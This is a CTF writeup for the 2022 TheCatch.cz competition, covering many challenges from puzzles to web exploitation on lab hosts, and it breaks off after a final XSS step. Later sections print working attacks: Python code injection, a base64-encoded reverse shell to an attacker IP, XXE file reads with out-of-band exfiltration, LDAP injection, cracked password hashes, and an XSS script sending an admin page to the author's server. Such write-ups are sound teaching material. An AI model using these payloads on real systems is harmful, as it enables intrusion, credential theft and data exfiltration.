CTF : TheCatch.cz

CTF TheCatch.cz writeup. Source CESNET. Announced difficulty level: variable

Posted by Boula-Bytes on 10 October 2022

CTFs : TheCatch.cz

Main Informations

Through the organization of the annual Catch competition, we endorse the ideas of the Cyber Security Month in 2022, thus contributing to building a more secure Internet environment and cyberspace. The competition is organised by the CESNET Association.

  • The Catch is intended as an individual competition, but teamwork is not prohibited.
  • The registration into the CTF portal will be opened along with the start of the competition on Monday 10 October 2022 at 12:00 CEST.
  • The competition will be closed on Monday 31 October 2022 at 12:00 (CET).
  • The top 20 players will be invited to Award ceremony (can be changed to on-line ceremony if necessary).
  • Best contestants will receive valuable prizes. Other prizes (T-shirts, hoodies, small presents) will be awarded (see The Rewards).
  • For more information, see the Competition rules, Frequently asked questions and Personal Data Protection.

Bitcoin Wallet

Hi, promising candidate,

our customers paying by bitcoin to our wallet bc1q8vnufzpyurlnvrxavrn2vxe5z0nafrp2d8nzng can get their package pickup code on http://pay-check.mysterious-delivery.thecatch.cz by entering their wallet ID.

Find out the pickup code for package that has not yet been claimed, although it was already paid for on Aug 8th 2022.

May the Packet be with you!

A client paid for a reward that he never received... Let's find it. He paid to our bitcoin wallet : bc1q8vnufzpyurlnvrxavrn2vxe5z0nafrp2d8nzng

So we have to find his wallet and check that.

There are many sites that allow to search bitcoins transactions. Checking in one of them let us know that our customer wallet was :

bc1qrqqjjuefgc4akxl05cd4haxp5jznmmptjrllft

By entering it on the web site (http://pay-check.mysterious-delivery.thecatch.cz/), we found the package :)


Unknown Package

Hi, promising candidate,

the cleaning drones have taken pictures of some abandoned unknown package in our backup depot. The AI claims that the analysed item is in no way a package, instead it repeats "cat - animal - dangerous - avoid".

Get as much as possible information about the package.

Download taken pictures (MD5 checksum c6f700e1217c0b17b7d3a35081c9fabe).

May the Packet be with you!

So we download the archive and start hunting...

On second image there is a qrcode and three barcodes. We use gimp to extract each ones into single files. Then we use zbar to read them.

And we find it :)


Regex Crossword

Hi, promising candidate,

you have to prove the knowledge of regular expressions. Our Finnish recruiter Timo has prepared some crossword suitable for this purpose.

Download task description (MD5 checksum 6448c1748cc6047470a5f00c3945c1c4).

May the Packet be with you!

We just have to resolve the regex crossword in the old fashion way ;) .


Incidents - Route tracking

Hi, packet inspector,

our company uses on-board route recorders, so traffic controller can optimize movement of all vehicles and also control the schedule. Any route can be described by a text string that contains the codes of individual sites in the order in which they were visited (except depot, because each drive starts and also ends there).

Unfortunately, one of the recorders has been damaged and the particular sites were not recorded, just the total length of the route is known (exactly 163 912 meters). In addition, the driver told us that he never visited the same place more than once (except depot, of course).

Your task is to identify the exact route of the vehicle.

Download the map of vehicle operating area and backround info (MD5 checksum 5fd3f52bcb404eae543eba68d7f4bb0a).

May the Packet be with you!

We can achieve this by using a python script to calculate all paths starting from depot then I add the route from the last node to the depot. On each path I calculate the path length. From there I was able to extract the one we need

python
import pygraphviz as pgv import networkx as nx gv = pgv.AGraph('Area_52.dot', strict=True, directed=True) G = nx.DiGraph(gv) distances = nx.get_edge_attributes(G, "dist") codes = nx.get_node_attributes(G, "code") pouet = "" def distance(path): dist = 0 for i in range(0,len(path)-1): edge = (path[i], path[i+1]) dist += int(distances[edge]) dist += int(distances[(path[len(path)-1],'000')]) return dist for path in nx.all_simple_paths(G, '000', '025'): for node in path: if node != '000': pouet += codes[node] if distance(path) == 163912: msg = 'Codes: ' + pouet + ' distance: ' + str(distance(path)) print(msg) pouet = ""

Van Keys

Hi, packet inspector,

all our delivery vans use password instead of standard car keys. Today, we have found out that the AI has implemented a new security measure – the vans are now referred as "AES Vans" and the password has been changed and encrypted. The decryption part is not yet finished, so we can't start any delivery van since morning!

Good news is that we managed to get the latest version of the decryption script from git repository. Bad news is that the script is not finished yet! Your task is to the finalize the script and decrypt the password as soon as possible.

Download the script and encrypted password (MD5 checksum e67c86a277b0d8001ea5b3e8f6eb6868).

May the Packet be with you!

Here we go. Searching "python AES" on Internet helps me to terminate the script in a very dirty way :D :

python
#!/usr/bin/env python # -*- coding:utf-8 -*- """ The Mysterious Delivery, Ltd. """ __author__ = "Mysterious AI" __version__ = "3.14" import base64 import hashlib import random from Crypto import Random from Crypto.Cipher import AES class AESCipher(): """ AES """ def __init__(self, key): """ constructor """ self.bs = AES.block_size self.key = hashlib.sha256(key.encode()).digest() def encrypt(self, raw): """ Decrypt function """ raw = self._pad(raw) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(raw.encode())) def decrypt(self, enc): """ Decrypt function """ enc = base64.b64decode(enc) iv = enc[:AES.block_size] cipher = AES.new(self.key, AES.MODE_CBC, iv) return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') def _pad(self, s): return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) @staticmethod def _unpad(s): return s[:-ord(s[len(s)-1:])] def generate_van_key(keylen): """ Generate super-secure key for AES Vans """ data = '' with open('pi_dec_1m.txt', 'r') as fhnd: data = fhnd.read() random.seed(314) key = '3.14' for i in range(0, keylen-len(key)): key += data[random.randint(0, 999999)] return key def main(): """ main """ print("Mysterious Delivery, Ltd. - ultimate van engine secure start") # generate key key = generate_van_key(128) # decryption obj = AESCipher(key) #TODO - read file #TODO - decrypt file and get password for AES Vans #TODO - distribute password f = open('van_keys_enc.aes','r') enc = f.readline() f.close() b64pass = obj.decrypt(enc) print(b64pass) main() # EOF

Messenger Portal

Hi, packet inspector,

our messengers are dependent on aplication called Messenger portal when they are in the field. It allows to display various information they need to do their jobs on their special mobile devices.

Currently, the AI has installed new modern and fully responsive version of the Messenger portal – even the validation of messenger numeric ID is not implemented yet and the messengers report problem with displaying details of they deliveries.

You have to analyze the Messenger portal and find some way to get detail information about deliveries. Hurry, please, the packages are pilling up!

May the Packet be with you!

Here we have to emulate a mobile device. But, of course, this society uses specials ones ;) .

First I needed to use developper tools of my browser to emulate mobile resolution.

Next, we use given messages to craft the right user agent.

The Catcher/1.0/2022 (MessengerOS)

We got a reverse message :)

shell
echo '{xxxx-xxx-xxx-xxxx}GALF' | rev

Fraudulent e-mail

Hi, packet inspector,

we have a apparently problem with some fraudulent payment gateway (see forwarded e-mail). We suspect that many of our customers have come across this scam.

Identifify all card numbers entered into the fraudulent webpage (we have to report incident and its details to CSIRT-TCC).

Download fraudulent e-mail (MD5 checksum 94c7696bed436cd63a490de4008d2022).

May the Packet be with you!

In the provided eml file we can find the fraudulent URL : http://really.sneaky.phishing.thecatch.cz/?click=sjlk2fgj3oiervAnjkufho3uiKrmsd5xmoudfFdfDkrEn5ers4gj2nf35jvVxKdfjbq24weqfoeire24ge8

On this page we can find a fake credit card payment form.

If we modify POST card-number parameter value like this :

POST / HTTP/1.1
Host: really.sneaky.phishing.thecatch.cz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Origin: http://really.sneaky.phishing.thecatch.cz
Connection: close
Referer: http://really.sneaky.phishing.thecatch.cz/
Cookie: _ga=GA1.2.824789373.1634669669; _gid=GA1.2.2082801226.1666039886
Upgrade-Insecure-Requests: 1

card-holder-name=toto&card-number=*&card-expires-date=12%2F2030&card-cvv=896&proceed-to-pay=

We retrieve this card number 4556-1329-8889-9614

So there is an XPATH exploit to do. I managed to exfiltrate the flag by using this search method :

POST / HTTP/1.1
Host: really.sneaky.phishing.thecatch.cz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Origin: http://really.sneaky.phishing.thecatch.cz
Connection: close
Referer: http://really.sneaky.phishing.thecatch.cz/
Cookie: _ga=GA1.2.824789373.1634669669; _gid=GA1.2.2082801226.1666039886
Upgrade-Insecure-Requests: 1

card-holder-name=toto&card-number=*[contains(.,'{')]&card-expires-date=12%2F2030&card-cvv=896&proceed-to-pay=

Old webpages

Hi, packet inspector, the AI has apparently some problems to transfer data from previous information system to new one. All packages in state "waiting for pickup" were erroneously moved to state "delivered". Now, we have an angry customer in our depot and she want her package with shipment ID 2022-0845.

In the previous IS, each package had his own domain name (for example, ID 2022-0845 can be tracked on http://tracking-2022-0845.mysterious-delivery.thecatch.cz).

Find the pickup code for package 2022-0845 as soon as possible, so we can give it to depot drone.

May the Packet be with you!

As they said webpages had change so if we use wayback machine : https://web.archive.org/ We can see an older version of this webpage :)


Download backup

Hi, packet inspector,

our former employee Brenda (head of PR department) was working on new webpage with superdiscount code for VIP customers, but she get fired by AI because of "disturbing lack of machine precision".

Your task is to find the code as soon as possible. The only hope is an automated backup of Brenda's Download directory (there is a high probability that she had downloaded the discount page or part of it).

Download the backup file (MD5 checksum 2fd749e99a0237f506a0eb3e81633ad7).

May the Packet be with you!

So I downloaded the zip archive. It contains a password protected rar archive and an md file that provides us the password.

I found nothing interesting on files extracted... Well I needed to search deeper.

binwalk gave me this result :

console
$ binwalk download_backup.rar DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 RAR archive data, version 5.x 11604224 0xB11100 VMware4 disk image

There is always false positive with binwalk assumptions but I decided to give it a try :

shell
binwalk --dd ".*" download_backup.rar

But nope ...

I learned about NTFS Alernate Data Stream, but I found no tools under Linux to handle this... :(

Finally I used my windows VM to use powershell :

shell
Get-Item * -Stream * [...] Get-Item img.png | Get-Content -Stream Zone.Identifier
console
Get-Item img.png | Get-Content -Stream Zone.Identifier [ZoneTransfer] ZoneId=3 ReferrerUrl=http://self-service.mysterious-delivery.thecatch.cz/ HostUrl=http://self-service.mysterious-delivery.thecatch.cz/img.png

It lead me to an URL where I found the flag :)


DNS Storage

Hi, packet inspector,

biggest surprise of the day is that the AI has started to use DNS as a storage for its own information. The data are stored in TXT resource records in the zone mysterious-delivery.tcc. The zone is deployed on DNS servers ns1.mysterious-delivery.thecatch.cz and ns2.mysterious-delivery.thecatch.cz.

Analyze content of zone and focus on any codes for our depot steel safes (AI has changed the access code and we hope it is stored right in the DNS zone).

May the Packet be with you!

After a quick look at dig response I figured out that we need to hop using NSEC records and extract TXT records for each host until we find the flag.

So I create a little python script to achieve this :

python
import os host = 'mysterious-delivery.tcc' while host != '': displayTXT = 'dig +noall +answer @ns1.mysterious-delivery.thecatch.cz '+ host +' TXT' getNextHost = 'dig +noall +answer @ns1.mysterious-delivery.thecatch.cz '+ host +' NSEC | awk -F \' \' \'{print $5}\'' os.system(displayTXT) host = os.popen(getNextHost).read().rstrip()

And finally I found this record :

depot-secret-upon-flag.mysterious-delivery.tcc. 86400 IN TXT "secret code for steel safe is: RkxBR3tZcjMxxxxxxxxxOC02UElzfQ=="

This one gave me the flag ;)


Packets auditing

Hi, packet inspector,

the AI has "upgraded" our packet auditing system – time to time, it generates archive of pictures, where the state of packet and the appropriate delivery team is indicated by different colours for each packet transport number.

We have a plea from Brenda's delivery team to find their missing packet in state ready for pickup (the other teams have already delivered all their packages mentioned in last given audit archive).

Download audit archive (MD5 checksum 08ee155d2c9aee13ea5cab0a11196129), find the desired pickup code and enter it on webpage http://pickup.mysterious-delivery.thecatch.cz to collect pickup code.

May the Packet be with you!

We have to find Brenda's missing packet. There is a lot of images, each color represents a Team and a state. So we have to find the right couple of colors. But there is so many images that we can't do it manually.

Let's try to write a script that do it for us.

I achieve this task by writing this script :

python
import os import sys from PIL import Image dirName = './packets_auditing' ''' For the given path, get the List of all files in the directory tree ''' def getListOfFiles(dirName): # create a list of file and sub directories # names in the given directory listOfFile = os.listdir(dirName) allFiles = list() # Iterate over all the entries for entry in listOfFile: # Create full path fullPath = os.path.join(dirName, entry) # If entry is a directory then get the list of files in this directory if os.path.isdir(fullPath): allFiles = allFiles + getListOfFiles(fullPath) else: allFiles.append(fullPath) return allFiles def isGoodPacket(filePath): im = Image.open(filePath).convert("RGB") orange = 0 green = 0 status = False # get pixels #pixels = [im.getpixel((i, j)) for j in range(im.height) for i in range(im.width)] # or pixels = [i for i in im.getdata()] #check if image contains orange pixels if (242, 121, 48) in pixels: #Check if image alse contains green pixels if (0,133,71) in pixels: #Count each pixels colors (we count other colors as green...) for pixel in pixels: if pixel == (242, 121, 48): orange += 1 else: green += 1 if orange > green: status = True return status listOfFiles = getListOfFiles(dirName) totalFiles = len(listOfFiles) count = 0 for filePath in listOfFiles: if isGoodPacket(filePath): print(filePath) break count +=1 progress = int((count*100)/totalFiles) sys.stdout.write("Search progress: %d%% \r" % (progress) ) sys.stdout.flush()

Streamlining portal

Hi, packet inspector,

the AI is preparing some kind of employee streamlining portal on http://user-info.mysterious-delivery.tcc. We fear this will lead to more lost packages.

Your task is to break into the web and find interesting information on the server.

May the Packet be with you!

Here we face a python based web app :

HTTP/1.1 200 OK
Server: gunicorn
Date: Tue, 18 Oct 2022 20:08:37 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1163

http://user-info.mysterious-delivery.tcc/hello/user leads to a page saying "Hello user" http://user-info.mysterious-delivery.tcc/hello/admin leads to a page saying "Hello admin"

So the last part of the URI is interpreted by the application.

This syntax let me list the current directory content :

http://user-info.mysterious-delivery.tcc/hello/%22+__import__('os').popen('ls%20-al').read()+%22

html
<p class="lead">Hello total 28 drw-r-xr-x 1 root root 4096 Sep 9 09:19 . drwxr-xr-x 1 root root 4096 Sep 9 09:19 .. drwxr-xr-x 1 root root 4096 Sep 27 10:46 FLAG drw-rw-rw- 2 root root 4096 Sep 9 09:19 __pycache__ -rw-r-xr-x 1 root root 457 Sep 9 09:16 app.py drwxr-xr-x 1 root root 4096 Sep 9 09:16 templates </p>

And...

http://user-info.mysterious-delivery.tcc/hello/%22+__import__('os').popen('ls -al FLAG').read()+%22

html
<p class="lead">Hello total 16 drwxr-xr-x 1 root root 4096 Sep 27 10:46 . drw-r-xr-x 1 root root 4096 Sep 9 09:19 .. -r--r--r-- 1 root root 26 Sep 27 10:46 flag.txt </p>

To read the content we just could use cat or use code like this :

http://user-info.mysterious-delivery.tcc/hello/%22+open('FLAG/flag.txt').read()+%22

\o/


XML Prettifier

Hi, packet inspector,

some former employe of Mysterious Delivery Ltd. has created prettifier for XML code. It is polite to provide information to the AI in nicely formatted XML, isn't it? Rumors say that the employee also left some crucial information somewhere on the web.

Find the crucial information on webpage http://prettifier.mysterious-delivery.tcc:50000 .

May the Packet be with you!

In this one I first found an XXE exploit :

xml
<!--?xml version="1.0" ?--> <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> <data>&example;</data>

Which leads to this result :

xml
<data>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin </data>

Now, we need to get content of http://prettifier.mysterious-delivery.tcc:50000/notes. The only way to achieve this is to send the request from localhost...

First I needed to create a dtd file on my box :

xml
<!ENTITY % plagr SYSTEM "http://localhost:50000/notes"> <!ENTITY % gnourf "<!ENTITY &#37; schnouf SYSTEM 'http://10.200.0.31/result-is?%plagr;'>">

After that I launched a simple python web server to serve this file :

shell
python3 -m http.server 1234

Then, on target side, I sent this payload via the form :

xml
<!DOCTYPE root [ <!ENTITY % plouf SYSTEM "http://10.xxx.xxx.xxx:1234/pouet.dtd"> %plouf; %gnourf; %schnouf; ]>

It raised an error message which contains the page values... and the flag :)


Blog site

Hi, packet inspector,

a simple blog webpage was created where all employees can write their suggestions for improvements. It is one part of the optimization plan designed by our allmighty AI.

Examine the web http://blog.mysterious-delivery.tcc:20000/ and find any interesting information.

May the Packet be with you!

First I created an account :

login : toto passwd : ohth9to7aezechooP3Udohb4fu7cagaezupi9uuXonoo>h!ogh4xah3ooH7eafai

Yes... the system wants a very looong password :)

But well I got stuck for a while...

If fact I needed to back to basics !

So enumeration !

shell
dirsearch -u http://blog.mysterious-delivery.tcc:20000

This command reveals some precious informations :

/.git
/phpmyadmin
/hello

The /.git is really interesting because it leads to source code and more important earlier versions :)

shell
git clone https://github.com/internetwache/GitTools.git GitTools/Dumper/gitdumper.sh http://blog.mysterious-delivery.tcc:20000/.git repo/ cd repo git checkout -- .

With this commands I got a full git repo

console
$ git log [...] commit 42482e138724bce3ceca75be31904e7f5d9f8b3d Author: Jozef Dev <jozef.dev@attendance.ttc> Date: Fri Oct 14 19:30:51 2022 +0000 add password policy commit 777c4dc8a31c74b2f787b38670def0aaaa412fe7 Author: Jozef Dev <jozef.dev@attendance.ttc> Date: Fri Oct 14 19:30:51 2022 +0000 add pylint and flake8, prepare for docker commit f967ff457b00c1295e5bfac978c9abb3dff2465f Author: Jozef Dev <jozef.dev@attendance.ttc> Date: Fri Oct 14 19:30:51 2022 +0000 initial mysql implementation [...]

Within those commits I managed to retrieve username and password for phpmyadmin.

And then I was able to upgrade my account to admin role :

sql
UPDATE `user` SET `role` = 'admin' WHERE `user`.`id` = 265;

Finally, I just browse this URL to get the flag : http://blog.mysterious-delivery.tcc:20000/settings


Streamlining portal NG

Hi, packet inspector,

the AI has detected your previous breach and has improved the security measures. New streamlining portal is on http://user-info-ng.mysterious-delivery.tcc.

Your task is to break into the improved web and find again interesting information on the server.

May the Packet be with you!

In this version, we still can inject python commands but there is charaters escape and a restrictive shell. For example, ls and cat are not present. The / charater is considered as a part of URI...

So we had to avoid all this problems.

First I tried to ensure there was a way to launch commands using common obfuscation :

shell
curl "http://user-info-ng.mysterious-delivery.tcc/hello/%22+str(__import__(%27base64%27).b64decode(%27ZWNobyB0b3RvCg==%27).decode(%27utf-8%27))+%22"
html
<p class="lead">Hello echo toto</p>

Ok, It was possible to use base64 to bypass protections.

Well, It seemed to me that having a reverse shell should be fun :) :

First I encoded this command in base64 :

shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.200.0.xx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMjAwLjAuMjkiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOycK

And, after setting up a nc listener, I use this payload :

shell
curl "http://user-info-ng.mysterious-delivery.tcc/hello/%22+str(__import__(%27base64%27).b64encode(__import__(%27os%27).popen(__import__(%27base64%27).b64decode(%27cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMjAwLjAuMjkiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOycK%27).decode(%27utf-8%27)).read().encode('ascii')).decode(%27utf-8%27))+%22"

And I got a shell... but restricted.

I replaced ls by echo and cat by python :

console
(venv) $ echo * FLAG __pycache__ app.py templates (venv) $ cd FLAG (venv) $ echo * flag.txt (venv) $ python -c "import os; print(open('flag.txt').read());" FLAG{xxx-xxxx-xxxx-xxxx}

Phonebook

Hi, packet inspector,

you should already get access to the phone book – as a new employee – but the AI is too busy right now. This condition can last several ... who knows ... years?

Your task is to gain access to the application running on http://phonebook.mysterious-delivery.tcc:40000.

May the Packet be with you!

In source code we can find :

html
<!-- New LDAP server host: 10.99.0.121 --> <!-- 1/2/2022 Temporary search filter (|(&(memberof=cn=users,ou=groups,dc=local,dc=tcc)(uid=_DATA_))(memberof=cn=nonmigrated,ou=groups,dc=local,dc=tcc)) --> <!-- 6/8/2022 Filter after migration (|(&(memberof=cn=users,ou=groups,dc=local,dc=tcc)(uid=_DATA_}))) -->

So I sent this request :

*)(ObjectClass=*))(&(objectClass=*

I abused openldap and everything was listed :

admin1  Admin account   7254437132  uid=admin1,ou=people,dc=local,dc=tcc    cn=admins,ou=groups,dc=local,dc=tcc
admin2  Admin account   5452487532  uid=admin2,ou=people,dc=local,dc=tcc    cn=admins,ou=groups,dc=local,dc=tcc,cn=web_admins,ou=groups,dc=local,dc=tcc
ldap_sync   Don't change password. gasg35faCasgt%AF         uid=ldap_sync,ou=people,dc=local,dc=tcc     cn=admins,ou=groups,dc=local,dc=tcc 

Now we could give a try at the IP adress :

console
$ nmap 10.99.0.121 Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-21 00:50 CEST Nmap scan report for 10.99.0.121 Host is up (0.047s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE 389/tcp open ldap
console
ldapsearch -x -H ldap://10.99.0.121 -b "dc=local,dc=tcc" -D "uid=ldap_sync,ou=people,dc=local,dc=tcc" -w gasg35faCasgt%AF uid=admin* # extended LDIF # # LDAPv3 # base <dc=local,dc=tcc> with scope subtree # filter: uid=admin* # requesting: ALL # # admin1, people, local.tcc dn: uid=admin1,ou=people,dc=local,dc=tcc objectClass: inetOrgPerson objectClass: sambaSamAccount cn: admin1 givenName: admin sn: admin1 homePhone: 7254437132 mail: admin1@local.tcc sambaSID: S-1-5-21-1528920847-3529959213-6859888036 sambaNTPassword: D43AC268D9148F59AC4F1657D7292204 sambaLMPassword: B1019EF3BC17B7E030495103E1C1A7DD uid: admin1 description: Admin account # admin2, people, local.tcc dn: uid=admin2,ou=people,dc=local,dc=tcc objectClass: inetOrgPerson objectClass: sambaSamAccount cn: admin2 givenName: admin sn: admin2 homePhone: 5452487532 mail: admin2@local.tcc sambaSID: S-1-5-21-1528920847-3529959213-2887712062 sambaNTPassword: 32644235283BC5561CC7FE4FFFADDAEE sambaLMPassword: 48448F207404DB05F3BAC3A9216F6D52 uid: admin2 description: Admin account # search result search: 2 result: 0 Success # numResponses: 3 # numEntries: 2

I used john to crack LM password :

admin1:L8TSMN5ZZE7Z1E
admin2:TOOSTRONGPASS.

LM password represents an old way to store password hashes. It's only handle 14 chars and it's case insensitive. So to find the real password we need crack the NTLM hash.

I focused on admin2 password as admin2 is the unique memberof web-admins group.

First I needed to find all case sensitive variations of TOOSTRONGPASS. So I wrote a python script to do so :

python
import itertools s = 'TOOSTRONGPASS' mylist = map(''.join, itertools.product(*zip(s.upper(), s.lower()))) for item in list(mylist): print(item + '.')

Generating wordlist :

shell
python3 variations.py > wordlist.txt

As I said LM can store only 14 chars but this one seems to be longer. So, we had to find the which variation is the right one and discover missing chars. I achieved this by using hybrid mode of hashcat :

shell
hashcat -m 1000 -a 6 -o cracked.txt hash.txt wordlist.txt ?a?a?a?a

Then I logged in using this account ant discover the flag :) .


Orderly IS

Hi, packet inspector,

do you want to order something? Use our Orderly information system, it is intuitive, fast, reliable and secure! At least that's what we claim in the TV ad. In last few hours it began to act weirdly, but its administrator is on vacation away from civilization (and connectivity).

You will have to break into the Orderly information system and check its configuration.

May the Packet be with you!

First recon...

Only one open port :

console
$ sudo nmap -p23000 -A orderly.mysterious-delivery.tcc Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-22 15:43 CEST Nmap scan report for orderly.mysterious-delivery.tcc (10.99.0.131) Host is up (0.048s latency). PORT STATE SERVICE VERSION 23000/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-server-header: Apache/2.4.54 (Debian) |_http-title: Homepage () Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops TRACEROUTE (using port 23000/tcp) HOP RTT ADDRESS 1 46.26 ms 10.200.0.1 2 46.31 ms 10.99.0.131 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.93 seconds
console
$ dirsearch -u http://orderly.mysterious-delivery.tcc:23000/ _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927 Output File: /home/boula/.dirsearch/reports/orderly.mysterious-delivery.tcc-23000/-_22-10-22_22-52-05.txt Error Log: /home/boula/.dirsearch/logs/errors-22-10-22_22-52-05.log Target: http://orderly.mysterious-delivery.tcc:23000/ [22:52:05] Starting: [22:52:30] 301 - 364B - /javascript -> http://orderly.mysterious-delivery.tcc:23000/javascript/ [22:52:32] 200 - 2KB - /login [22:52:32] 302 - 199B - /logout -> /login [22:52:40] 403 - 299B - /server-status/ [22:52:40] 403 - 299B - /server-status [22:52:40] 302 - 199B - /settings -> /login Task Completed

The page /order/add is vulnerable to XSS.

I could discover it by this simple test :

js
<script>alert(1)</script>

But recon phase showed that a more valuable entry was /settings. But, first I needed to bypass authentication step.

To do that we could inject a well crafted payload, so when an admin navigate to order list we could steal his creds.

But first I needed to ensure that victims access to the website via the same URL that I would use. Otherwise CORS would be a problem.

So I used a custom script to tell python to dump requests headers :

python
#!/usr/bin/env python3 import http.server as SimpleHTTPServer import socketserver as SocketServer import logging PORT = 1234 class GetHandler( SimpleHTTPServer.SimpleHTTPRequestHandler ): def do_GET(self): logging.error(self.headers) SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) Handler = GetHandler httpd = SocketServer.TCPServer(("", PORT), Handler) httpd.serve_forever()
js
<script> var target = 'http://orderly.mysterious-delivery.tcc/settings'; var req1 = new XMLHttpRequest(); req1.open('GET', target, false); req1.send(); var response = req1.responseText; var req2 = new XMLHttpRequest(); req2.open('GET', 'http://10.200.0.xxx:1234/' + btoa(response), true); req2.send() </script>

Then send the script and got this :

ERROR:root:Host: 10.200.0.xxx:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: fr,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Origin: http://orderly.mysterious-delivery.tcc:23000
Connection: keep-alive
Referer: http://orderly.mysterious-delivery.tcc:23000/

10.200.0.xxx - - [23/Oct/2022 01:23:40] "GET / HTTP/1.1" 200 -
ERROR:root:Host: 10.200.0.8:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.99.0.131:23000/
Origin: http://10.99.0.131:23000
Connection: keep-alive

As we see in the referer header victims used the IP address directly. So, I corrected the JS :

js
<script> var target = 'http://10.99.0.131:23000/settings'; var req1 = new XMLHttpRequest(); req1.open('GET', target, false); req1.send(); var response = req1.responseText; var req2 = new XMLHttpRequest(); req2.open('GET', 'http://10.200.0.xxx:1234/' + btoa(response), true); req2.send() </script>

And Let's go :

